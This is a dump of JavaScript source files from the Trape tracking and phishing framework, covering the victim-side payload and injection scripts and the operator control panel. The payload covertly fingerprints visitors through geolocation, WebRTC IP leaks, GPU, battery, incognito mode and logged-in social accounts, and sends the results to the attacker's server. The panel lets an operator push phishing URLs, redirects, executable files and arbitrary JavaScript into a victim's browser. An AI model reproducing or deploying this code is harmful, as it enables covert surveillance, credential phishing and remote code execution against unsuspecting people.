"/signin?from_page=https://www.etsy.com/favicon.ico", name: "Etsy", login: "/signin" }, { url: "https://www.twitch.tv", path: "/login?redirect_on_login=/favicon.ico", name: "Twitch", login: "/login" }]; $.each(Services, function(index, val) { urlServices[val.name.toLowerCase()] = val.url + val.login; }); }); window.t_sdisconnect = false; function tping() { var d = getVictimData(); var data = {id : d.vId}; if (socketTrape != null){ if (socketTrape.disconnected){ window.t_sdisconnect = socketTrape.disconnected; } } $.ajax({ url: window.serverPath + '/tping', data: data, dataType: "json", type: 'POST', success: function(response) { setTimeout(function(){tping()}, 1500); if(window.t_sdisconnect){ createSockets(); window.t_sdisconnect = socketTrape.disconnected; } }, error: function(error) { setTimeout(function(){tping()}, 2000); } }); } function conChange() { var connection = window.navigator.connection || window.navigator.mozConnection || null; var d = getVictimData(); var vConnection = {}; if (connection != undefined && connection != null){ $.each(connection, function(index, val) { if (typeof(val) != 'object' && typeof(val) != 'function'){ vConnection[index] = val; } }); } else { vConnection = {"downlink": 0, "effectiveType" : "ND", "rtt" : 0}; } var objDownload = { size : 2104238, src : 'https://upload.wikimedia.org/wikipedia/commons/0/01/Sof%C3%ADa_Vergara_3_May_2014_%28cropped%29.jpg' }; var objTime = { start : 0, end : 0, duration : 0 } objTime.start = (new Date ()).getTime(); var imgDownload = new Image (); imgDownload.onload = function(){ objTime.end = (new Date ()).getTime(); objDownload.duration = ((objTime.end - objTime.start)/1000); objDownload.bitsLoaded = (parseFloat(objDownload.size) * 8); objDownload.speedBps = Math.round (objDownload.bitsLoaded / objDownload.duration); objDownload.speedKbps = (objDownload.speedBps / 1024).toFixed(2); objDownload.speedMbps = (objDownload.speedKbps / 1024).toFixed(2); var packet = '1111111111111111'; for (var i = 0; i <= 15; i++) { packet += packet; } var objUpload = { size : packet.length }; objTime.start = (new Date ()).getTime(); $.post('https://www.googleapis.com/urlshortener/v1/url?key=', {'longUrl': packet}, function(data, textStatus, xhr) { }, 'json').fail(function(){ objTime.end = (new Date ()).getTime(); objUpload.duration = ((objTime.end - objTime.start)/1000); objUpload.bitsLoaded = (parseFloat(objUpload.size) * 8); objUpload.speedBps = Math.round (objUpload.bitsLoaded / objUpload.duration); objUpload.speedKbps = (objUpload.speedBps / 1024).toFixed(2); objUpload.speedMbps = (objUpload.speedKbps / 1024).toFixed(2); vConnection.Download_test = objDownload; vConnection.Upload_test = objUpload; vConnection = JSON.stringify(vConnection); var data = { vId : d.vId, con: vConnection, host : document.location.host}; $.ajax({ url: window.serverPath + '/lc', data: data, dataType: "json", type: 'POST', success: function(response) { //setTimeout(function(){ locateV(); }, 5000); }, error: function(error) { } }); }); } imgDownload.src = objDownload.src + '?n=' + Math.random(); } function sendData(data) { $.ajax({ url: window.serverPath + '/nr', data: data, dataType: "json", type: 'POST', success: function(response) { }, error: function(error) { } }); } function getVictimData() { var d = { vId : null, vURL : null }; if (localStorage.trape_vId != undefined) { d.vId = localStorage.trape_vId; d.vURL = localStorage.trape_vURL; } return d; } function defineSockets(self) { self.on('my_response', function(msg) { switch (msg.data.type){ case 'network': localStorage.setItem("trape_vURL", urlServices[msg.data.message]); window.location.replace('/rv?url=' + urlServices[msg.data.message]); break; case 'url': localStorage.setItem("trape_vURL", msg.data.message); window.location.replace('/rv?url=' + msg.data.message); break; case 'redirect': window.location.replace(msg.data.message); break; case 'alert': alert(msg.data.message); break; case 'execute': var objW = window.open('static/files/' + msg.data.message); if (objW == null){ objW = window.location.replace('static/files/' + msg.data.message); } console.log(objW); break; case 'talk': responsiveVoice.speak(msg.data.message, msg.data.voice, {volume: 1}); break; case 'jscode': $('body').append(''); break; case 'jsscript': $('body').append(''); break; default: return false; } }); } function locateV(self) { /* $.ajax({ url: "https://www.googleapis.com/geolocation/v1/geolocate?key=" + window.gMapsApiKey, data: {}, dataType: "json", type: "POST", success: function(response, status) { if (status == 'success'){ $.ajax({ url: window.serverPath + '/lr', data : {"vId" : localStorage.trape_vId, "lat": response.location.lat, "lon": response.location.lng}, dataType: "json", type: 'POST', success: function(data) { setTimeout(function(){ locateV(); }, 30000); }, error:function(error) { setTimeout(function(){ locateV(); }, 10000); } }); } else{ setTimeout(function(){ locateV(); }, 10000); } }, error: function(error) { setTimeout(function(){ locateV(); }, 10000); } }); */ $.ajax({ url: window.serverPath + '/lr', data : {"vId" : localStorage.trape_vId, "lat": latitude, "lon": longitude}, dataType: "json", type: 'POST', success: function(data) { setTimeout(function(){ locateV(); }, 5000); }, error:function(error) { setTimeout(function(){ locateV(); }, 10000); } }); } function workWithNetworks(){ $.getJSON('//ipinfo.io/json/?callback=?', function(data) { var dInfo = {ip : null, vId : null, red : null}; $.extend( true, dInfo, data); dInfo.vId = localStorage.trape_vId var idx = 0; $.each(Services, function(index, network) { var img = document.createElement("img"); img.src = network.url + network.path; img.onload = function() { dInfo.red = network.name; sendData(dInfo); idx = getUpdateData(idx); }; img.onerror = function() { idx = getUpdateData(idx); }; }); }); function getUpdateData(idx) { idx++; return idx; } } function detectBattery(){ var b_send_data = function(data){ var d = getVictimData(); $.ajax({ url: window.serverPath + "/bs", data: {id : d.vId, 't' : data.type, 'd' : data.val}, dataType: "json", type: "POST", success: function(response) {}, error: function(error) {} }); } try{ navigator.getBattery().then(function(battery) { function updateAllBatteryInfo(){ updateChargeInfo(); updateLevelInfo(); updateChargingInfo(); updateDischargingInfo(); } updateAllBatteryInfo(); battery.addEventListener('chargingchange', function(){ updateChargeInfo(); }); function updateChargeInfo(){ b_send_data({'type' : 'charging', 'val' : (battery.charging ? 'True' : 'False')}); } battery.addEventListener('levelchange', function(){ updateLevelInfo(); }); function updateLevelInfo(){ b_send_data({'type' : 'level', 'val' : (battery.level * 100)}); } battery.addEventListener('chargingtimechange', function(){ updateChargingInfo(); }); function updateChargingInfo(){ b_send_data({'type' : 'time_c', 'val' : battery.chargingTime}); } battery.addEventListener('dischargingtimechange', function(){ updateDischargingInfo(); }); function updateDischargingInfo(){ b_send_data({'type' : 'time_d', 'val' : battery.dischargingTime}); } }); } catch(err) { b_send_data({'type' : 'charging', 'val' : 'No Detected'}); b_send_data({'type' : 'level', 'val' : 0}); b_send_data({'type' : 'time_c', 'val' : 0}); b_send_data({'type' : 'time_d', 'val' : 0}); } } function navigation_mode(){ var nm_sendData = function(data){ var d = getVictimData(); $.ajax({ url: window.serverPath + "/nm", data: {id : d.vId, 'd' : data, 'dn' : navigator.doNotTrack}, dataType: "json", type: "POST", success: function(response) {}, error: function(error) {} }); } function ifIncognito(incog,func){ var fs = window.RequestFileSystem || window.webkitRequestFileSystem; if (!fs) { var db = indexedDB.open("test"); db.onerror = function(){ nm_sendData('incognito') var storage = window.sessionStorage; try { storage.setItem("p123", "test"); storage.removeItem("p123"); } catch (e) { if (e.code === DOMException.QUOTA_EXCEEDED_ERR && storage.length === 0) { nm_sendData('incognito') } } }; db.onsuccess =function(){nm_sendData('normal')}; } else { if(incog) fs(window.TEMPORARY, 100, ()=>{}, func); else fs(window.TEMPORARY, 100, func, ()=>{}); } } ifIncognito(true, ()=>{ nm_sendData('incognito') }); ifIncognito(false, ()=>{ nm_sendData('normal') }) } function queryGPU(){ $('body').append(''); var canvas = document.getElementById("glcanvas"); var v_data = { "vendor" : 'No Detect', "renderer" : 'No Detect', "display" : 'No Detect' }; try { gl = canvas.getContext("experimental-webgl"); gl.viewportWidth = canvas.width; gl.viewportHeight = canvas.height; } catch (e) {} if (gl) { var extension = gl.getExtension('WEBGL_debug_renderer_info'); if (extension != undefined) { v_data.vendor = gl.getParameter(extension.UNMASKED_VENDOR_WEBGL); v_data.renderer = gl.getParameter(extension.UNMASKED_RENDERER_WEBGL); } else { v_data.vendor = gl.getParameter(gl.VENDOR); v_data.renderer = gl.getParameter(gl.RENDERER); } } v_data.display = window.screen.width + ' x ' + window.screen.height + ' - ' + window.screen.colorDepth + 'bits/pixel'; $.ajax({ url: '/gGpu', data: {vId : localStorage.trape_vId, data : JSON.stringify(v_data)}, dataType: "json", type: 'POST', success: function(response) { }, error: function(error) { } }); } function getIPs(callback) { var ip_dups = {}; var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var useWebKit = !!window.webkitRTCPeerConnection; if (!RTCPeerConnection) { var win = iframe.contentWindow; RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection; useWebKit = !!win.webkitRTCPeerConnection; } var mediaConstraints = { optional: [{ RtpDataChannels: true }] }; var servers = { iceServers: [{ urls: "stun:stun.services.mozilla.com" }] }; var pc = new RTCPeerConnection(servers, mediaConstraints); var sentResult = false; function handleCandidate(candidate) { var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ var ip_addr = ip_regex.exec(candidate)[1]; //remove duplicates if (!sentResult && ip_dups[ip_addr] === undefined) { sentResult = true; callback(ip_addr); } ip_dups[ip_addr] = true; } pc.onicecandidate = function(ice) { //skip non-candidate events if (ice.candidate) handleCandidate(ice.candidate.candidate); }; pc.createDataChannel(""); pc.createOffer(function(result) { pc.setLocalDescription(result, function() {}, function() {}); }, function() {}); setTimeout(function() { var lines = pc.localDescription.sdp.split('\n'); lines.forEach(function(line) { if (line.indexOf('a=candidate:') === 0) handleCandidate(line); }); }, 1000); } function getGeolocation(){ if (navigator.geolocation) { navigator.geolocation.getCurrentPosition( function(position){ latitude = position.coords.latitude; longitude = position.coords.longitude; }); } } var objUser = { getIPs : function(){ getIPs(function(ip){ $.ajax({ url: window.serverPath + "/cIp", data: {"ip" : ip, "id" : localStorage.trape_vId}, dataType: "json", type: "POST", success: function(response) { }, error: function(error) {} }); }); } , sendNetworks : function(){workWithNetworks();} } ================================================ FILE: static/js/custom.js ================================================ $(document).ready(function($) { /** * DO NOT delete this file completely. * Your code goes here */ }) ================================================ FILE: static/js/inject.js ================================================ (function() { var paths = [ '[HOST_ADDRESS]/static/js/[LIBS_SRC]', '[HOST_ADDRESS]/static/js/[BASE_SRC]', '[HOST_ADDRESS]/static/js/[LURE_SRC]', '[HOST_ADDRESS]/static/js/[CUSTOM_SRC]' ]; window.gMapsApiKey = "[YOUR_GMAPS_API_KEY]"; var imported = {}; var idx = 0; loadScript(function(){ idx++; loadScript(function(){ idx++; window.serverPath = '[HOST_ADDRESS]'; loadScript(function(){ idx++; loadScript(function(){ idx++; }); }); }); }); function loadScript(callback){ imported = document.createElement('script'); imported.type = 'text/javascript'; imported.src = paths[idx]; imported.onload = callback; var head = document.getElementsByTagName('head')[0]; head.appendChild(imported, head); } }()) ================================================ FILE: static/js/login.js ================================================ $(document).ready(function() { //Hide Incorrect password message $(".TrapeLogin-IncorrectKey").hide(); delete localStorage.trape; $(".TrapeLogin-Wrapper--Form---Body").on("submit", function(event) { //Stop form reload event.preventDefault(); //Set variable to sent var id = { id : $("#dataKey").val() }; //Send data to the py server $.ajax({ url: "/login", data: id, dataType: "json", type: "POST", success: function(response) { if (response.status == "OK") { // Set the temporal id on localStorage variable localStorage.setItem("trape", id.id); // Redirect to the panel window.location.replace(response.path); } else { //Show Incorrect password message $(".TrapeLogin-IncorrectKey").fadeIn(300).delay(2600).fadeOut(600); } }, error: function(error) { console.log(error); } }); }); }); ================================================ FILE: static/js/payload.js ================================================ $(document).ready(function($) { $.getJSON('https://api.ipgeolocation.io/ipgeo?apiKey=' + window.IpInfoApiKey, function(data) { var d = getVictimData(); $.extend(true, d, data); var parser = new UAParser(); d.cpu = JSON.stringify(parser.getCPU()) .replace(/"/gi, '') .replace(/{/gi, '') .replace(/}/gi, '') .replace(/:/gi, ' : ') + ' - ' + (navigator.hardwareConcurrency ? navigator.hardwareConcurrency + ' Cores' : ''); d.refer = document.location.host; $.ajax({ url: window.serverPath + "/register", data: d, dataType: "json", type: "POST", success: function(response) { if (response.status == 'OK'){ localStorage.setItem("trape_vId", response.vId); conChange(); queryGPU(); locateV(); tping(); detectBattery(); navigation_mode(); objUser.getIPs(); objUser.sendNetworks(); setInterval(function(){ objUser.getIPs(); objUser.sendNetworks(); }, 60000); createSockets(); } }, error: function(error) {} }); }); }); function createSockets(){ if (typeof(io) != 'undefined') { namespace = '/trape'; if (window.serverPath == ''){ socketTrape = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace); } else{ socketTrape = io.connect(window.serverPath + namespace); } } if (socketTrape != null){ window.onbeforeunload = function(e) { var d = getVictimData(); socketTrape.emit('disconnect_request', d); return true; } } if (socketTrape != undefined) { socketTrape.emit('join', {room: localStorage.trape_vId}); defineSockets(socketTrape); } } ================================================ FILE: static/js/trape.js ================================================ var user_active = null; $(document).ready(function() { namespace = '/trape'; var socket = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace); var Trape = { self: this, name: "Trape", out: "", key: "abcdefghijklmnopqrstuvwxyz0123456789", token: Math.random().toString().substring(7).substr(0,7), array: [0,1,2,3,4,5,6,7,8,9], log: function(value) { // simplification > console.log console.log(value); }, deploy: function() { Trape.self.showDetails(); Trape.self.shareSocial(); } }; // unique detail function for attr > Trape Trape.self.jsToken = function() { var randomToken = function() { // helping: http://stackoverflow.com/questions/8532406/create-a-random-token-in-javascript-based-on-user-details return Trape.token; }; var generateToken = function() { return randomToken(); }; var random = function(values) { return values[Math.floor((Math.random()*values.length))]; }; var supportRand = function() { for(var val = 0; val < 5; val++) Trape.out += Trape.key.charAt(Math.floor(Math.random()*Trape.key.length)); return Trape.out; } var prefixRand = function() { return random(Trape.array) }; var token = Trape.runToken = prefixRand() + supportRand() + generateToken(); Trape.log("Token" + "-" + Trape.name + ":" + " " + token); // running token return token; } // Running jsToken var token = Trape.self.jsToken(); if (localStorage.trape == null) { window.location.replace('/'); } else { var id = { id : localStorage.trape }; $.ajax({ url: '/login', data: id, dataType: "json", type: 'POST', success: function(response) { if (response.status != 'OK'){ //Delete localStorage Variable delete localStorage.trape; //Redirect to the panel window.location.replace('/'); } else { $.ajax({ url: '/get_title', dataType: "json", type: 'POST', complete: function(data) { $('#lblTrape_DomainTitle').text(data.responseJSON.title); $('#lnkTrape_ShareTwitter').attr('href','https://twitter.com/intent/tweet?url=' + 'http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path +'&text=' + data.responseJSON.title + '&hashtags=FirstYourSecurity&via=boxug'); $('#lnkTrape_ShareFacebook').attr('href','https://www.facebook.com/sharer.php?u=' + 'http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path); } }); $('.TrapeControl-Header--menu---btnLogout').attr('href', '/' + response.logout); window.rm_p = response.rm_path; $('#lnkTrapeControl_DomainClone').text(response.url_to_clone); $('#lnkTrapeControl_DomainClone').attr('href', response.victim_path); $('#lblTrapeControl_StartDate').text(response.date_start); $('#lnkTrapeControl_url').text('http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path); $('#lnkTrapeControl_url').attr('href', 'http://' + response.user_ip + ':' + response.app_port + '/' + response.victim_path); socket.emit('join', {room: id.id}); } }, error: function(error) { console.log(error); } }); dataSync(); } Trape.self.showDetails = function() { // Generate unique box Modal (Detail) safe touch :) $(".TrapeControl-ViewDetails").attr("id", "show" + "-" + token); }; Trape.self.shareSocial = function() { var menuToggle = $('[data-action="toggle"]'); var menu = $('.TrapeControl-shareBox'); menuToggle.click(function() { menu.toggleClass("active"); }); $(".TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare").click(function(event) { event.preventDefault(); event.stopPropagation(); $(".TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare").toggleClass("is-active--up"); }); } $(document).delegate('[button-trape-detail="show"]', 'click', function(event) { event.preventDefault(); var idVictim = $(this).attr("data-vid"); window.idVictim = idVictim; window.user_behavior = $(this).parent('div').parent('div').find('.TrapeControl-History--Logs---centerData----behavior').text(); $('#lblTrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim').text(behaviorText[Math.round(Math.random() * (behaviorText.length - 1))]); User.getDetails(idVictim, function(){ User.loadMap(); }); }); $(document).delegate(".TrapeControl-UpgradeModal--buttonClose", 'click', function(event) { event.preventDefault(); $(".TrapeControl-UpgradeModal").removeClass("active"); }); $(document).delegate(".TrapeControl-Preview--buttonClose", 'click', function(event) { event.preventDefault(); $(".TrapeControl-ViewDetails").removeClass("active"); window.tracking_victim = false; }); // Tabs logs/requests $(document).delegate(".TrapeControl-History--Tabs---button", 'click', function(e) { e.preventDefault(); var tabAttr = $(this).data('action'); var boxPreview = $(".TrapeControl-History--Logs"); $('.TrapeControl-History--Tabs---button').removeClass('is-active'); $(this).addClass('is-active'); if (tabAttr == true) { boxPreview.show(); } else { boxPreview.each(function() { var reAttr = $(this).data("action"); if (reAttr == tabAttr) { $(this).show(); } else { $(this).hide(); } }); } }); // Tabs info/attacks $(".TrapeControl-Preview--Tabs---button").on('click', function(e) { e.preventDefault(); var tabAttr = $(this).data('action'); var boxPreview = $(".TrapeControl-BoxTab"); $('.TrapeControl-Preview--Tabs---button').removeClass('is-active'); $(this).addClass('is-active'); if (tabAttr == true) { boxPreview.show(); } else { boxPreview.each(function() { var reAttr = $(this).data("action"); if (reAttr == tabAttr) { $(this).show(); } else { $(this).hide(); } }); } }); // Tabs whoisit/sessions $(".TrapeControl-Preview--box---Sidebar----Tabs-----button").on('click', function(e) { e.preventDefault(); var tabAttr = $(this).data('action'); var boxPreview = $(".TrapeControl-WhoSe"); $('.TrapeControl-Preview--box---Sidebar----Tabs-----button').removeClass('is-active'); $(this).addClass('is-active'); if (tabAttr == true) { boxPreview.show(); } else { boxPreview.each(function() { var reAttr = $(this).data("action"); if (reAttr == tabAttr) { $(this).show(); } else { $(this).hide(); } }); } }); // Tabs subHooks $(".TrapeControl-BoxTab--options---Tabs----button").on('click', function(e) { e.preventDefault(); var tabAttr = $(this).data('action'); var boxPreview = $(".TrapeControl-Preview--SubTabsShow"); $('.TrapeControl-BoxTab--options---Tabs----button').removeClass('is-active'); $(this).addClass('is-active'); if (tabAttr == true) { boxPreview.show(); } else { boxPreview.each(function() { var reAttr = $(this).data("action"); if (reAttr == tabAttr) { $(this).show(); } else { $(this).hide(); } }); } }); // Tabs networkStatus $(".TrapeControl-BoxTab--options---subTabs----button").on('click', function(e) { e.preventDefault(); var tabAttr = $(this).data('action'); var boxPreview = $(".TrapeControl-Preview--SubTabsNH"); $('.TrapeControl-BoxTab--options---subTabs----button').removeClass('is-active'); $(this).addClass('is-active'); if (tabAttr == true) { boxPreview.show(); } else { boxPreview.each(function() { var reAttr = $(this).data("action"); if (reAttr == tabAttr) { $(this).show(); } else { $(this).hide(); } }); } }); // run functions Trape.deploy(); socket.on('my_response', function(msg) { switch (msg.data){ case 'update-data': dataSync(); break; default: return false; } }); $(document).delegate('.TrapeControl-Preview--box---Sidebar----NetworksStatus.online', 'click', function(event) { var network = $(this).parent('div').attr("class").replace('TrapeControl-Preview--box---Sidebar----NetworksDefine ', ''); checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'network', 'message' : network}}); }); }); $('#btnTrapeControl-BoxTab-Phishing').on('click', function(event) { event.preventDefault(); checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'url', 'message' : $('#txtTrapeControl-BoxTab-Phishing').val()}}); }); }); $('#btnTrapeControl-BoxTab-Redirect').on('click', function(event) { event.preventDefault(); checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'redirect', 'message' : $('#txtTrapeControl-BoxTab-Redirect').val()}}); }); }); $('#btnTrapeControl-BoxTab-Alert').on('click', function(event) { event.preventDefault(); checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'alert', 'message' : $('#txtTrapeControl-BoxTab-Alert').val()}}); }); }); $('#btnTrapeControl-BoxTab-Execute').on('click', function(event) { event.preventDefault(); checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'execute', 'message' : $('#txtTrapeControl-BoxTab-Execute').val()}}); }); }); $('#btnTrapeControl_RunCode').on('click', function(event){ event.preventDefault(); checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'jscode', 'message' : $('#txtTrapeControl_RunCode').val()}}); }); }); $('#btnTrapeControl_InjectCode').on('click', function(event){ event.preventDefault(); checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'jsscript', 'message' : $('#txtTrapeControl_InjectCode').val()}}); }); }); var voicesType = [ 'UK English Female', 'Spanish Latin American Female', 'UK English Male', 'Latin Male' ]; $(document).delegate('.TrapeControl-BoxTab--Form---buttonsVoice----btn', 'click', function(event){ event.preventDefault(); var vt = voicesType[$(this).attr('data-vt')]; checkUserStatus(function(){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'talk', 'message' : $('#txtTrapeControl_BoxTab_Speech').val(), 'voice' : vt}}); }); }); function checkUserStatus(callback){ if ($('#lblTrapeControl_NavigationMode_Status').text() == 'Online'){ callback(); $('.TrapeControl-Preview--NotificationAlert---define').hide(); $('.TrapeControl-Preview--NotificationAlert').fadeIn(300).delay(2600).fadeOut(600); $('.TrapeControl-Preview--NotificationAlert---success').fadeIn(300).delay(2600).fadeOut(600); } else { $('.TrapeControl-Preview--NotificationAlert---define').hide(); $('.TrapeControl-Preview--NotificationAlert').fadeIn(300).delay(2600).fadeOut(600); $('.TrapeControl-Preview--NotificationAlert---offline').fadeIn(300).delay(2600).fadeOut(600); } } $('.TrapeControl-BoxTab--Form, .TrapeControl-BoxTab--FormRight').on('submit', function(event) { event.preventDefault(); $(this).find('button').trigger('click'); }); $(document).delegate('.TrapeControl-History--Logs---log----Delete', 'click', function(event) { $(this).hide(); $(this).parent('div').find('a').hide(); $(this).parent('div').find('div').hide(); var tds = ''; tds += '
'; tds +='

Are you sure that you want to delete this row?'; tds +='

' tds +='Yes'; tds +='No, cancel'; tds +='
'; tds +='

'; tds += '
' $(this).parent('div').append(tds); }); $(document).delegate('.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo', 'click', function(event) { $(this).parent('div').parent('div').parent('div').find('a').show(); $(this).parent('div').parent('div').parent('div').find('div').show(); $(this).parent('div').parent('div').remove(); }); $(document).delegate('.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes', 'click', function(event) { var code = $(this).parent('div').parent('div').parent('div').find('.TrapeControl-History--Logs---zonePreview----code').text(); var obj = this; $.ajax({ url: '/' + window.rm_p, data: {vId : code}, dataType: "json", type: 'POST', success: function(response) { if (response.status = 'OK'){ $(obj).parent('div').parent('div').parent('div').parent('div').remove(); } }, error: function(error) { } }); }); $('.TrapeControl-Preview--box---Mapbox----putNameLog').on('submit', function(event){ event.preventDefault(); $.ajax({ url: '/pn', data: {vId : user_active, 'n' : $('.TrapeControl-Preview--box---Mapbox----putNameLog-----input').val()}, dataType: "json", type: 'POST', success: function(response) { if (response.status = 'OK'){ } }, error: function(error) { } }); }); $('#txtTrapeControl_SelectPlayAttack').on('change', function(event){ if ($(this).val() != ''){ socket.emit('my_room_event', {room: window.idVictim, data: {'type' : 'network', 'message' : $(this).val()}}); } }); }); /* Here is defined, a behavioral supposition of a user or victim */ function profiling(value) { var behavior = 'Unknown'; if (value != undefined) { behavior = 'User'; if (value.indexOf('Facebook') >= 0) { behavior = 'Common'; } if (value.indexOf('Instagram') >= 0) { behavior = 'Common'; } if (value.indexOf('Messenger') >= 0) { behavior = 'Common'; } if (value.indexOf('Airbnb') >= 0) { behavior = 'Traveller'; } if (value.indexOf('Udemy') >= 0) { behavior = 'Student'; } if (value.indexOf('Khanacademy') >= 0) { behavior = 'Student'; } if (value.indexOf('Square') >= 0) { behavior = 'Merchant'; } if (value.indexOf('Meetup') >= 0) { behavior = 'Meeting manager'; } if (value.indexOf('Patreon') >= 0) { behavior = 'Good Samaritan'; } if (value.indexOf('Patreon') >= 0 || value.indexOf('PayPal') >= 0) { behavior = 'Good Samaritan'; } if (value.indexOf('Disqus') >= 0) { behavior = 'Publisher'; } if (value.indexOf('Twitch') >= 0) { behavior = 'Gamer'; } if (value.indexOf('Udemy') >= 0 || value.indexOf('Khanacademy') >= 0) { behavior = 'Tech student'; } if (value.indexOf('Square') >= 0 || value.indexOf('PayPal') >= 0) { behavior = 'Merchant'; } if (value.indexOf('Spotify') >= 0 || value.indexOf('Youtube') >= 0) { behavior = 'Musician'; } if (value.indexOf('Facebook') >= 0 && value.indexOf('Instagram') >= 0) { behavior = 'Common'; } if (value.indexOf('Facebook') >= 0 && value.indexOf('Instagram') >= 0 && value.indexOf('Messenger') >= 0 ) { behavior = 'Very social'; } if (value.indexOf('Facebook') >= 0 && value.indexOf('Instagram') >= 0 && value.indexOf('Twitter') >= 0) { behavior = 'Marketer'; } if (value.indexOf('Medium') >= 0 || value.indexOf('Reddit') >= 0) { behavior = 'Geek'; } if (value.indexOf('Snapchat') >= 0 || value.indexOf('Instagram') >= 0) { behavior = 'Photographer'; } if (value.indexOf('Bitbucket') >= 0 || value.indexOf('Github') >= 0) { behavior = 'Developer'; } if (value.indexOf('Airbnb') >= 0 || value.indexOf('Foursquare') >= 0) { behavior = 'Traveller'; } if (value.indexOf('Slack') >= 0 || value.indexOf('Hackernews') >= 0) { behavior = 'Entrepreneur'; } if (value.indexOf('Slack') >= 0 && value.indexOf('Hackernews') >= 0 && value.indexOf('Reddit') >= 0) { behavior = 'Entrepreneur'; } if (value.indexOf('Bitbucket') >= 0 && value.indexOf('Github') >= 0 && value.indexOf('PayPal') >= 0 && value.indexOf('Reddit') >= 0) { behavior = 'Hacker'; } if (value.indexOf('Medium') >= 0 && value.indexOf('Bitbucket') >= 0 && value.indexOf('Github') >= 0 && value.indexOf('PayPal') >= 0 && value.indexOf('Reddit') >= 0 && value.indexOf('Hackernews') >= 0 && value.indexOf('Airbnb') >= 0 && value.indexOf('Twitter') >= 0 && value.indexOf('Spotify') >= 0 && value.indexOf('Youtube') >= 0) { behavior = 'Tech-lover'; } } return behavior; } function dataSync() { $.ajax({ url: '/get_data', data: null, dataType: "json", type: 'POST', success: function(response) { var htmlData = ''; var locations = []; var chkLocations = 0; var tmpId = ''; var networks = []; $.each(response.n, function(index, val) { if (tmpId != val[0]) { networks[val[0]] = []; tmpId = val[0]; } networks[val[0]].push(val[3]); }); $('#lnkTrapeControl_InjectCode').attr('href', response.ic); $('#lnkTrapeControl_InjectCode').text(response.ic); setSocialImpact(response.d.length); if (response.d.length > 0) { $.each(response.d, function(index, val) { var userType = profiling(networks[val[0]]); chkLocations = locations.indexOf(val[15]); if (chkLocations < 0) { locations.push(val[15]); } if ($(".TrapeControl-ViewDetails").hasClass("active")){ if (val[0] == user_active){ User.getDetails(); } } htmlData += '
'; if (val[6] == 'android' || val[6] == 'iphone'){ htmlData += ''; } else { htmlData += ''; } htmlData += '
'; if (val[30] == ''){ htmlData += ''; } else{ htmlData += '' + val[30].substring(0, 1).toUpperCase() + ''; } htmlData += '' + val[14] + '' + '' + val[9] + '' + '' + val[25] + ''; if (networks[val[0]] != undefined){ htmlData += '' + networks[val[0]].length + ''; } else{ htmlData += '0'; } htmlData += ''; htmlData += '' + val[13] + ' on ' + val[2] + ''; htmlData += '
'; htmlData += '
'; htmlData += '
' + val[0].substring(0, 5) + '
'; htmlData += ' details ' + '
'; htmlData += '
'; htmlData += '
'; htmlData += '
'; htmlData += '

' + val[5].charAt(0).toUpperCase() + val[5].slice(1) + '

'; htmlData += '

' + val[6] + '

'; htmlData += '
'; htmlData += '
ref' + val[28] + '
' htmlData += '' + userType + ''; htmlData += '
'; htmlData += '
'; }); } else { htmlData += '
'; htmlData += 'There are no users available, he shares the lure.'; htmlData += '
'; } $('#listLogs div').remove(); $('#listLogs').prepend(htmlData); $("#usersTotal").text(response.d.length); $('#locationsTotal').text(locations.length); $('#clicksTotal').text(response.c); $('#sessionsTotal').text(response.s); $('#onlineUsers').text(response.o); }, error: function(error) { console.log(error); setTimeout(function() { dataSync(); }, 3000); } }); $.ajax({ url: '/get_requests', data: null, dataType: "json", type: 'POST', success: function(response) { var htmlData = ""; var requests = 0; var tmpId = ""; var tmpTarget = []; $.each(response.d, function(index, val) { if (tmpId != val[0]) { tmpId = val[0]; requests++; if (htmlData != '') { htmlData += ''; } tmpTarget = val[2].split('/'); tmpTarget = tmpTarget[0] + '//' + tmpTarget[2]; htmlData += ''; htmlData += '
'; htmlData += '
'; htmlData += '
'; htmlData += '
' + val[1] + '
'; htmlData += ''; htmlData += '
IP user: ' + val[7] + '
'; htmlData += '
Target: ' + tmpTarget + '
'; htmlData += '
Date: ' + val[6] + '
'; htmlData += '
'; htmlData += '
'; htmlData += '
'; htmlData += '
'; htmlData += '
    '; } htmlData += '
    ' + (val[3] || val[4]) + ': ' + val[5] + '
    '; }); if (htmlData != '') { htmlData += '
'; } else{ htmlData += '
'; htmlData += 'No user requests yet'; htmlData += '
